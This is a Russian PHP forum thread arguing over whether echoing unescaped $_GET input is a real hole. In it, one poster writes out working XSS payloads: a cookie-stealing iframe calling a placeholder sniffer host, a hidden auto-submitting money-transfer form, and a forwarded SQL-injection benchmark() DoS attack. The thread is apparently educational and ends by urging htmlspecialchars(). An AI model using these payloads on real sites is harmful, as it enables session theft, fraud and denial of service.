Потенциальная дыра

Frol

Новичок
все (?) отвечали конкретно, так, как попросил автор. (см. выделенную мной фразу)
 

Crazy

Developer
Автор оригинала: sakon
Кто ввел тот и увидит.
Учимся читать внимательно: $_GET. Увидит тот, кто пройдет по ссылке. И это вовсе не обязательно будет тот, кто ссылку создал.

Очевидная шутка -- компрометация. Дураков, распространяющих слухи и принимающих на их основе решения -- немало.

Вторая шутка -- XSS. Который якобы отдыхает.

Нет, правда, если некоторые участники этой дискусии действительно в принципе не видят ни одного способа использоваия XSS в такой ситуации, то я могу научить.
 

valyala

Новичок
Через эту "потенциальную дыру" можно сделать очень много нехороших вещей. Например, незаметно украсть пользовательские куки:
этот текст увидит юзер<script>document.write('<iframe src="http://path/to/sniffer?cookie='+escape(document.cookie)+'"></iframe>')</script>
Или выполнить произвольные действия от имени пользователя на этом сайте (по мотивам http://phpclub.ru/talk/showthread.php?threadid=54160). Например, заставить пользователя добровольно поделиться своими деньгами - дедушка Ленин говорил, что нужно делиться :) :
этот текст увидит юзер
<div style="display:none">
<!-- через этот фрейм будем переводить деньги пользователя на свой счет ))) -->
<iframe name="aaa"></iframe>
<!--
это заполненная копия формы для перевода денег
со счета пользователя на наш счет.
Предположим, что номер счета пользователя хранится в сессии или в куках )))
-->
<form action="http://path/to/money/transfer/script" target="aaa" name="bbb" method="POST">
<!-- переведем себе 10 тугриков -->
<input name="amount" value="10" />
<input name="dst_bill" value="наш счет" />
</form>
<!-- а это небольшой скриптик, запускающий перевод денег ))) -->
<script type="text/javascript">document.bbb.submit()</script>
</div>
Вывод: всегда используйте htmlspecialchars() при выводе в HTML произвольных данных. А не то придут злые хакеры, поставят вас раком и хорошенько натянут :)
 

valyala

Новичок
Вот еще один пример из повседневной жизни для сомневающихся:

Хакер Вася хочет устроить DoS-атаку на какой-нибудь сайт, но совершенно не желает при этом светить свою айпишку. Даже через "анонимные прокси" - если это не твой личный прокси, нет 100% гарантии, что он анонимный. Может, его специально открыли ФБРщики для приманки кул-хацкерофф.
И тут Вася обнаруживает на каком-нибудь левом сайте нашу "потенциальную дыру". И он сразу же воспользуется ей для решения своей "черной" задачи:
этот текст увидит юзер
<div style="display:none">
<iframe name="aaa"></iframe>
<!--
это заполненная копия формы для атаки "главной цели"
-->
<form action="http://path/to/main_target" target="aaa" name="bbb" method="POST">
<!--
Допустим, в скрпите http://path/to/main_target есть
уязвимость типа sql-injection для поля fff:
SELECT * FROM a WHERE fff = '$fff'
Устроим DOS-атаку "главной цели" от имени пользователя -
в логах будет светиться его, а не наша айпишка.
-->
<input name="fff" value="111' or benchmark(1000000000, benchmark(1000000000, md5('f*ck')))" />
<!-- остальные поля формы -->
</form>
<script>document.bbb.submit()</script>
</div>
 
Сверху